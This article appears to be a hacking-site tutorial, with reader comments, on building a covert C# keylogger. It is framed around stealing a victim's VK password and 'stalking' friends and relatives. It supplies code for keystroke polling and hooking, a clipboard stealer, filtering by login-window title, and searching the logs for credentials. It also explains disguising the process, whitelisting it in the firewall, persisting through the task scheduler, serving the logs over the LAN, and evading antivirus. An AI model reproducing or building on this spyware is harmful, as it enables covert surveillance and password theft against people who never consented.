Homemade keylogger. Writing an undetectable keylogger in C#

Commercial keyloggers supporting numerous functions and protected against detection may cost dozens and even hundreds of dollars. However, it is not that difficult to create a homemade keylogger and avoid antivirus alerts. In this article, I will explain how to do this; concurrently, we will practice our C# coding skills.

Goal identification

Let us keep it simple. Let us say, we want to obtain the password to the victim’s VK profile, and can momentarily secure physical access to the target computer. Having said so:

  • We do not want to alert the victim by additional windows, taskbar icons, error messages, etc;
  • We can access the target computer only once and for a short duration of time;
  • We are connected to the same LAN and will use that connection to retrieve the logs;
  • The antivirus must not ring alarm bells;
  • The firewall is taken out of the equation: we will give it the required permission manually while planting the keylogger; and
  • We won’t try to conceal the process – just give it an unsuspicious name.

If the victim uses a password manager, the keystroke log would only contain some Ctrl-C and Ctrl-V sequences. Therefore, we should monitor the clipboard contents as well.

We will write the keylogger in C# using Visual Studio. Leaping ahead, I must say that I got two versions of the program: the first one intercepts WinAPI calls, while the second one is a more of a mockup. However, this not-so-elegant version gives better results when checked by antivirus apps; so, I am going to describe it, too.

The theory

When you press a key, the operation notifies programs that are registered to intercept keyboard events. Therefore, the easiest way to intercept the keyboard input is to receive keypress notifications. If we cannot do this (for instance, the SetWindowsHookEx function is restricted by the antivirus), it is possible to get raw keyboard input in a different way. GetAsyncKeyState determines whether a key is pressed or not at the time of the call and whether the key was pressed after a previous call to that function. Therefore, the algorithm is as follows: we check the status of all keys (i.e. are they pressed or not) every N milliseconds and records the pressed keys in a special log. Then we process this log to take into account the effects caused by keys such as Caps Lock, Num Lock, Shift, Ctrl, etc. The resulting data are logged to a file.

Coding

First, we open Visual Studio and create a new Windows Forms project (.NET Framework). Why Windows Forms? If we select a standard console app, then a black window would appear on the screen every time it is launched; we don’t want that to avoid alerting the victim. We haven’t created a form yet, and we won’t create any; accordingly, no icons would appear on the victim’s taskbar, which is important for us. Now we delete the automatically-generated file Form1.cs and open Program.cs.

Main stub

Main stub

We see the program template, but it won’t work without some tweaking. First, we must delete lines 10-12 and 16-18. Then we change the method declaration from static void Main() to static void Main(String[] args). We need this to be able to define our arguments at restart.

Now we have to add using System.IO; to have file access, System.Runtime.InteropServices to use WinAPI, and System.Threading to suspend the thread. If you do not intend to write the ‘mockup’ version, you may skip this section and proceed to the next one.

Importing GetAsyncKeyState from user32.dll:

[DllImport("user32.dll")]
public static extern int GetAsyncKeyState(Int32 i);

Then we add the keystroke logging. We will group keystrokes by ten to reduce the amount of disk-related activities:

while (true)
{
   Thread.Sleep(100);
   for (int i = 0; i < 255; i++)
   {
      int state = GetAsyncKeyState(i);
      if (state != 0)
      {
        buf += ((Keys)i).ToString();
        if (buf.Length > 10)
        {
           File.AppendAllText("keylogger.log", buf);
           buf = "";
        }
      }
   }
}
It would be pretty difficult to decipher a log like that

It would be pretty difficult to decipher a log like that

The log does not look nice and is completely unreadable. The thing is, our code retrieves not only the keyboard input, but also the mouse clicks (LButton and RButton events). Therefore, we do not want to record keystrokes that do not affect the symbol keys. Let us replace the contents of the if operator in our cycle with the following piece of code:

// Enhanced verification of entered symbols //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }
if (((Keys)i) == Keys.LButton ||((Keys)i) == Keys.RButton ||((Keys)i) == Keys.MButton) continue;
if (((Keys)i).ToString().Length == 1)
{
     buf += ((Keys)i).ToString();
}
else
{
     buf += $"<{((Keys)i).ToString()}>";
}
if (buf.Length > 10)
{     File.AppendAllText("keylogger.log", buf);
     buf = "";
}

Now the log is much cleaner (see the picture below).

Looks better, doesn't it?

Looks better, doesn’t it?

The progress is obvious! It’s time to add a handler for the Shift and Caps Lock keys. Let us insert the following code at the beginning of the cycle:

// More enhanced verification //
bool shift = false;
short shiftState = (short)GetAsyncKeyState(16);
// Keys.ShiftKey does not work, so I put its numeric equivalent
if ((shiftState & 0x8000) == 0x8000)
{
    shift = true;
}
var caps = Console.CapsLock;
bool isBig = shift | caps;

Now we have a flag showing whether the letter should be a capital or not. Let us check whether the flag is set, and put the characters into the buffer.


The next problem relates to entries such as <Oemcomma>, <ShiftKey>, <Capital>, etc. They make the log hard to read, and we should fix this. For instance, <Oemcomma> is a simple comma, while <Capital> is nothing else than Caps Lock. After testing the keylogger on my PC for some time, I collected enough data to put the log together. For instance, some characters can be simply replaced.

// Checking for Space and Enter //
if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (((Keys)i) == Keys.Enter) { buf += "\r\n"; continue; }

However, issues such as <ShiftKey> are more difficult to overcome. By the way, Shift has two different variants; there’s the right Shift and the left Shift. Let us get rid of this because we have already got the status of capital letters.

if (((Keys)i).ToString().Contains("Shift") || ((Keys)i) == Keys.Capital) { continue; }

After testing the logger for a while, we identify other keys requiring special handling:

  • Num Lock;
  • Function keys;
  • Print Screen;
  • Page Up and Page Down;
  • Scroll Lock;
  • Combinations of Shift + numeric keys;
  • Tab;
  • Home and End;
  • Run;
  • Alt; and
  • Arrow keys.

We add some more checks and replacements, and the log becomes readable. One of the shortcomings is that the program does not support international keyboard layouts; on the other hand, this is not really important if we just want the password.

Let us see what the antivirus says…

Reaction after running a scan

Reaction after running a scan

Reaction at startup (later on, the antivirus reports that everything is OK))

Reaction at startup (later on, the antivirus reports that everything is OK))

Let us upload the program to VirusTotal to inspect it with other antivirus scanners. The result is inspiring: only 8 antiviruses, out of the 70, find the tool suspicious.


The elegant version

Now we are going to do the job in a more proper way: by intercepting keystroke signals. The first steps are the same: we create a new Windows Forms project and give it an unsuspicious name (e.g. WindowsPrintService). Then we replace the void Main() stub generated by Visual Studio with void Main(String[] args) and perform a simple argument check:

if (((Keys)i) == Keys.Space) { buf += " "; continue; }
if (args != null && args.Length > 0)
{
     if (args[0] == "-i") {}
     // Checking here similarly to the previous line
}
else
{
     // Launched without parameters
}

The total code volume is pretty big, and I am not going to display it here in full. The program includes Caps Lock, Shift, etc. flags, while the pressed keys are identified by a huge Switch operator. But what I want to show is how the keyboard hook is planted.

Planting the keyboard hook

Planting the keyboard hook

First, we add a pointer to our function to the callback variable, then get the handle of our program, and then we plant the hook. After that, we start continuously peeking messages every 5 ms (PeekMessageA). It is important to declare a callback function precisely matching the WinAPI and call the underlying handlers (see below).

private static IntPtr CallbackFunction(Int32 code, IntPtr wParam, IntPtr lParam)

Here we call the next handler in the hook chain:

return CallNextHookEx(IntPtr.Zero, code, wParam, lParam)
Callback function listing

Callback function listing

The screenshot shows the code of our callback function with some abbreviations (there was not enough space for keystroke processing). Please note the above-mentioned CallNextHookEx call: it is required to make sure that our program is not the sole recipient of keystroke signals.

Switch operator processing Shift + numeric key combinations

Switch operator processing Shift + numeric key combinations

The above screenshot shows the processing of numeric keys with the Shift button pressed; the below one shows the situation with Caps Lock and Shift.

Determining the case of the entered character

Determining the case of the entered character

Clipper

Clipper is a program intercepting the content of the clipboard; it can be helpful if the victim uses a password manager and pastes passwords instead of typing them.

Let us create a new Windows form and delete the files <FormName>.Designer.cs and <FormName>.resx. Then we press F7 to enter the edit mode and start coding. We have to add using System.Runtime.InteropServices and import the WinAPI methods (shown on the screenshot in a separate class).

The class importing WinAPI methods

The class importing WinAPI methods

The following code should be inserted in the form constructor:

NativeMethods.SetParent(Handle, NativeMethods.HWND_MESSAGE);
NativeMethods.AddClipboardFormatListener(Handle);

The first call makes our window capable of receiving system messages, while the second one assigns a handler for the incoming messages.

Now it is time to define a String-type variable; let us call is lastWindow. We have to reassign the standard message handling function (void WndProc(ref Message m)):

protected override void WndProc(ref Message m)
{
   if (m.Msg == NativeMethods.WM_CLIPBOARDUPDATE)
   {
        // Getting handle of the active window
        IntPtr active_window = NativeMethods.GetForegroundWindow();
        // Getting the title of that window
        int length = NativeMethods.GetWindowTextLength(active_window);
        StringBuilder sb = new StringBuilder(length + 1);
        NativeMethods.GetWindowText(active_window, sb, sb.Capacity);
        Trace.WriteLine("");
        // Saving the clipboard contents to the log
        Trace.WriteLine("\t[Сtrl-C] Clipboard Copied: " + Clipboard.GetText());
   }
   // Calling the old handler
   base.WndProc(ref m);
}

I used a pre-made class in my keylogger; it can be simply added to the project so that we don’t have to spend time and effort on wrappers for WinAPI calls. This class can be found in Pastebin.

It is pretty easy to launch the clipper: we add a reference to the System.Windows.Forms.dll assembly, add using to System.Windows.Forms and System.Threading, and finally add the following lines to the logger startup method:

Thread clipboardT = new Thread(new ThreadStart(
           delegate {
              Application.Run(new ClipboardMonitorForm());
           }));
clipboardT.Start();

Simple, isn’t it? However, please note that this call should be added after the assignment of a handler for the Trace; otherwise, the input would be discarded

WWW

Retrieving the logs

The next thing we need is the ability to retrieve the log remotely. Our goal is not industrial spying; we just want to stalk on our friends and relatives. Therefore, as a first step, we may limit efforts to accessing the victim’s PC via a shared LAN. To do so, we have to add a simple HTTP server to our project. A suitable implementation can be found here. Here is my version, tuned and refined.

Its usage is pretty simple as well: as soon as we create our server object, it automatically takes the localhost:34000 and <InternalIP>:34000 addresses for HTTP. In addition, the port 34001 will be opened on these addresses. The server will retrieve the list of files and folders or the file contents if a file is requested.

You have to specify the path to the folder where the logs are recorded (or any other folder if needed) in the constructor. By default, the logs are saved in the current directory; accordingly, we pass Environment.CurrentDirectory to the constructor as an argument.

WWW

To automatically whitelist the keylogger in firewall rules, you may use Windows Firewall API. The following wrapper DLLs can be used: FirewallManager, WindowsFirewallHelper, and YFW.Net.

Autorun

There are multiple ways to make our program run automatically at startup. We can add it to the Startup folder, edit one of the many keys in the Windows Registry, install a home-made driver, create of a service, etc. However, all decent antivirus apps monitor the Registry and the drivers, while creating a service is way too complicated and unreliable (although it can be used as a last resort).

We are going to create a task in the task scheduler and ask it to launch our logger with required parameters at every logon. To work with the task scheduler, we will use Microsoft.Win32.TaskScheduler from NuGet. I have posted the code on Pastebin. Just don’t forget to adjust the path specified in the task scheduler entry.

The scheme below shows the logger algorithm:

Logger algorithm

Logger algorithm

Passing the antivirus check

After checking the more elegant variant on VirusTotal, we see that it is detected by a larger number of antivirus apps: 15 of the 70 antiviruses make a positive detection. However, the majority of popular home antivirus programs won’t see it. We should just avoid computers with Avira and NOD32.


Checking the window title

If our victim logs in to a social network immediately after signing in to the system, we are lucky. But what if they start playing CS:GO instead? We would have to extract the password from tons of W, A, S, and D symbols and spaces. With the ‘mockup’ version, this task is even more complicated. Therefore, let us enhance our logger to record keystrokes only when a browser window with a logon page is active. To do so, we have to go back to WinAPI, the GetForegroundWindow function.

Importing WinAPI methods

Importing WinAPI methods

The import screenshot shows another function required for our project: GetWindowText. We need it to get the window title by its handle. The algorithm is pretty clear: first, we get the title of the active window; second, we check whether the logger should be enabled; and third, we turn it on (or off). The workflow is implemented as shown below:

  1. Creating the IsForegroundWindowInteresting function; its code is as follows:

    bool IsForegroundWindowInteresting(String s)
    {
       IntPtr _hwnd = GetForegroundWindow();
       StringBuilder sb = new StringBuilder(256);
       GetWindowText(_hwnd, sb, sb.Capacity);
       if (sb.ToString().ToUpperInvariant().Contains(s.ToUpperInvariant())) return true;
       return false;
    }
    
  2. In the beginning of our CallbackFunction, we insert:

    if (IsForegroundWindowInteresting("Welcome! | VK") ||
        IsForegroundWindowInteresting("iBienvenido! | VK"))
    {
       return CallNextHookEx(IntPtr.Zero, code, wParam, lParam);
    }
    

As you can see, I check two possible strings (because nobody knows what language the victim uses). If we haven’t found an interesting window, then we move to the next handler to avoid unnecessary disk-related activities.

Searching the log

Let us imagine that, despite all our efforts, the log has grown really big, and we have to extract a phone number from it to identify the starting point for our password searches. The best way to do this is to use regular expressions represented in C# by the Regex Class.

For obvious reasons, we will analyze the logs on our PC, so let us create a separate program for that. To use regular expressions, we add using System.Text.RegularExpressions and create a new method. That method receives the path to the log file in the input and displays every phone number that it finds in the console.

public void FindTelephoneNmbers(String path)
{
   String _file = System.IO.File.ReadAllText(path);
   String _regex = @"((\+38|8|\+3|\+ )[ ]?)?([(]?\d{3}[)]?[\- ]?)?(\d[ -]?){6,14}";
   Regex _regexobj = new Regex(_regex);
   MatchCollection matches = _regexobj.Matches(_file);
   if (matches.Count > 0)
   {
      foreach (Match match in matches)
      {
         Console.WriteLine($"Match found: \"{match.Value}\"");
      }
   }
   else
   {
      Console.WriteLine("No matches found.");
   }
}

The password will be displayed right after the phone number.

Conclusions

As you can see, creating a keylogger it is not a big deal. Furthermore, despite all limitations, our homemade spy has one important advantage over commercial and public alternatives: antiviruses have no idea about it, and most of them cannot detect it on based on its functions. Of course, the program has plenty of room for improvement. For instance, it would be great to add features such as retrieving the logs over an Internet connection, supporting various keyboard layouts, making screenshots, etc. However, the purpose of this article was just to demonstrate how easy it is to write a tool like that and to inspire you to new endeavors.


18 Responses to “Homemade keylogger. Writing an undetectable keylogger in C#”

    • Hackcat

      You have all the parts needed to reconstruct the code without any strong C# knowledge. The source was not published completely to make script kiddies learn at least something

  1. Dprogrammer

    Why the hell did you half ass most of the programming, what is “buf”, you legit didnt show most of the code, im not sure even where to start, i’m sure if i looked in my garbage can, i could find a more complete program than you wrote. its only good for outlining, not showing how to write and modify it

    • Hackcat

      Are you kidding? This article is not about copying and pasting source code to build your own malware. It’s about common ways the task can be done with some pieces of code to illustrate my solution. If you really want to learn how the keyloggers work, it will be enough for you. Almost all the code was published and you need just a few C# knowledge to make it work. We don’t spread malware and the sources were not published to prevent misuse.

Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>